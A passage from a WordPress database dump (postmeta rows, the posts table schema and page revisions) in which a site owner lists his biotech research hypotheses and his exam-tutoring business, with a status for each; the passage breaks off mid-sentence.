(311,395,'_edit_lock','1718207289:1'),
(312,397,'_edit_lock','1718207496:1'),
(313,399,'_edit_lock','1718207465:1'),
(314,401,'_edit_lock','1718207673:1'),
(315,403,'_edit_lock','1718207749:1'),
(316,405,'_edit_lock','1718207674:1'),
(317,407,'_edit_lock','1718207941:1'),
(318,409,'_edit_lock','1718208068:1'),
(319,411,'_edit_lock','1718208173:1'),
(320,413,'_edit_lock','1718208133:1'),
(321,415,'_edit_lock','1718208340:1'),
(322,417,'_edit_lock','1718208281:1'),
(323,419,'_edit_lock','1718208488:1'),
(324,421,'_edit_lock','1718208393:1'),
(325,423,'_edit_lock','1718208600:1'),
(326,425,'_edit_lock','1718208544:1'),
(327,427,'_edit_lock','1718208751:1'),
(328,429,'_edit_lock','1718208901:1'),
(329,431,'_edit_lock','1718208964:1'),
(330,433,'_edit_lock','1718208908:1'),
(332,436,'_edit_lock','1718211753:1'),
(333,438,'_edit_lock','1718211831:1'),
(334,440,'_edit_lock','1718211917:1'),
(335,442,'_edit_lock','1718212017:1'),
(336,444,'_edit_lock','1718211933:1'),
(337,446,'_edit_lock','1718212260:1'),
(338,448,'_edit_lock','1718212326:1'),
(339,450,'_edit_lock','1718212216:1'),
(342,463,'footnotes',''),
(343,465,'footnotes',''),
(344,466,'_edit_lock','1751569134:1'),
(345,468,'_edit_lock','1751569262:1'),
(346,470,'_edit_lock','1751569927:1'),
(347,473,'_edit_lock','1751570053:1'),
(348,476,'_edit_lock','1751570222:1'),
(349,479,'_edit_lock','1751570281:1'),
(350,482,'_edit_lock','1751570445:1'),
(351,486,'_edit_lock','1751570535:1'),
(352,489,'_edit_lock','1751570629:1'),
(353,491,'_edit_lock','1751570893:1'),
(354,494,'_edit_lock','1751570926:1'),
(355,496,'_edit_lock','1751570978:1'),
(356,498,'_edit_lock','1751571014:1'),
(357,500,'_edit_lock','1751571082:1'),
(358,502,'_edit_lock','1751571115:1'),
(359,504,'_edit_lock','1751571150:1'),
(360,506,'_edit_lock','1751571198:1'),
(361,508,'_edit_lock','1751571254:1'),
(362,510,'_edit_lock','1751571298:1'),
(363,512,'_edit_lock','1751571359:1'),
(364,514,'_edit_lock','1751571406:1'),
(365,516,'_edit_lock','1751571490:1'),
(366,518,'_edit_lock','1751571587:1'),
(367,520,'_edit_lock','1751571610:1'),
(368,522,'_edit_lock','1751571744:1'),
(369,524,'_edit_lock','1751571788:1'),
(370,526,'_edit_lock','1751571868:1'),
(371,528,'_edit_lock','1751571902:1'),
(372,530,'_edit_lock','1751571970:1'),
(373,532,'_edit_lock','1751572021:1'),
(374,534,'_edit_lock','1751572069:1'),
(375,536,'_edit_lock','1751572081:1'),
(376,538,'_edit_lock','1751572130:1'),
(377,540,'_edit_lock','1751572218:1'),
(378,542,'_edit_lock','1751573008:1'),
(379,544,'_edit_lock','1751575524:1');
/*!40000 ALTER TABLE `wp4v_postmeta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_posts`
--

DROP TABLE IF EXISTS `wp4v_posts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_posts` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `post_author` bigint(20) unsigned NOT NULL DEFAULT 0,
  `post_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_content` longtext NOT NULL,
  `post_title` text NOT NULL,
  `post_excerpt` text NOT NULL,
  `post_status` varchar(20) NOT NULL DEFAULT 'publish',
  `comment_status` varchar(20) NOT NULL DEFAULT 'open',
  `ping_status` varchar(20) NOT NULL DEFAULT 'open',
  `post_password` varchar(255) NOT NULL DEFAULT '',
  `post_name` varchar(200) NOT NULL DEFAULT '',
  `to_ping` text NOT NULL,
  `pinged` text NOT NULL,
  `post_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_modified_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_content_filtered` longtext NOT NULL,
  `post_parent` bigint(20) unsigned NOT NULL DEFAULT 0,
  `guid` varchar(255) NOT NULL DEFAULT '',
  `menu_order` int(11) NOT NULL DEFAULT 0,
  `post_type` varchar(20) NOT NULL DEFAULT 'post',
  `post_mime_type` varchar(100) NOT NULL DEFAULT '',
  `comment_count` bigint(20) NOT NULL DEFAULT 0,
  PRIMARY KEY (`ID`),
  KEY `post_name` (`post_name`(191)),
  KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`),
  KEY `post_parent` (`post_parent`),
  KEY `post_author` (`post_author`),
  KEY `type_status_author` (`post_type`,`post_status`,`post_author`)
) ENGINE=InnoDB AUTO_INCREMENT=552 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_posts`
--

LOCK TABLES `wp4v_posts` WRITE;
/*!40000 ALTER TABLE `wp4v_posts` DISABLE KEYS */;
INSERT INTO `wp4v_posts` VALUES
(2,1,'2021-03-05 14:55:14','2021-03-05 14:55:14','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://neutraoat.com\">NeutraOat: a modified oat fiber to trap and remove PFAS, BPA, and plasticizers from the digestive tract</a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>There are many environmental toxins we pick up through our digestive tract that are bad for human health, like plasticizers and PFAS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many of these are small and hydrophobic.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s possible to modify oat beta glucan fiber to selectively pick up these small, hydrophobic toxins without picking up anything good.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>1 and 2 are based on the literature.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>3 is a work in progress.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: startup is up and running. Check out the website for more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for certain chronic, age-related conditions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Some chronic, age-related conditions are caused by [ ].</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>[ ] is a therapeutic which can treat that specific cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining [ ] with [ ] makes it safer, more effective, and easier to tolerate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This will also apply to cats.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Studies in [ ] in humans, [ ] in dogs, and [ ] in mice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some of our previous work.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running trials and looking for partners. Good so far!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining cyclosporine with [ ]would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vitro experiment also showed good results.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vivo experiments have also had good results. Next stop: clinical. </li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->','Current projects','','publish','closed','open','','sample-page','','','2026-07-12 17:22:59','2026-07-12 17:22:59','',0,'https://trevorklee.com/?page_id=2',0,'page','',0),
(11,1,'2021-03-06 21:40:35','2021-03-06 21:40:35','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li><li>Dyskinesia in Parkinson\'s is caused by [<em>tba</em>], which can be treated by [<em>tba</em>]. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li><li>Other dyskinesias will also benefit from this therapeutic.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> in the process of filing a provisional patent and getting experiments done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li><li>In neurodegeneration that is caused by glutamate excitoxicity, [<em>tba</em>] will prove effective.</li><li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: in the process of filing a provisional patent and getting experiments done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li><li>[<em>tba</em>] is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li><li>[<em>TBA therapeutic</em>] can treat this major cause of damage.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>TBA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Refining my evidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><a href=\"http://get21snight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current hypotheses','','inherit','closed','closed','','2-revision-v1','','','2021-03-06 21:40:35','2021-03-06 21:40:35','',2,'https://trevorklee.com/2021/03/06/2-revision-v1/',0,'revision','',0),
(12,1,'2021-03-07 01:33:46','2021-03-07 01:33:46','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is caused by dopaminergic dysfunction, which can be treated by NMDA antagonists. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other dyskinesias will also benefit from this therapeutic.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Not enough to make it worthwhile.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not every interesting scientific idea is a business. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>In neurodegeneration that is caused by glutamate excitoxicity, NMDA antagonists will prove effective.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: not enough to be worthwhile</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: It\'s really, really expensive and difficult to get to the point of getting real evidence for treatments of neurodegeneration. Any neurodegenerative treatment, in order to get funding, needs to follow what people already expect will help neurodegeneration. Out-of-the-box ideas are very tough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The unfolded protein response is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some combination of TUDCA, 4-PBA, and a sigma-one receptor agonist can treat this major cause of damage.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>ER Stress definitely occurs in heart failure (it makes sense, there\'s a lot of damage happening all around).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Medications to alleviate ER stress (TUDCA, 4-PBA) help in mouse models of heart failure, which are done mechanically.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sigma one receptor agonists can help in animal models of heart failure, seemingly by acting as molecular chaperones in the ER.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>someone beat me to it. They tested sertraline, an antidepressant with significant affinity for the sigma one receptor, in patients with depression and heart failure. It helped the depression but not the heart failure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More broadly, there was a big problem with the gap between the animal model and the human condition. Humans experience heart failure chronically. There\'s no equivalent of mechanically restricting the aortic valve. So I think there\'s definitely something missing about the model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I 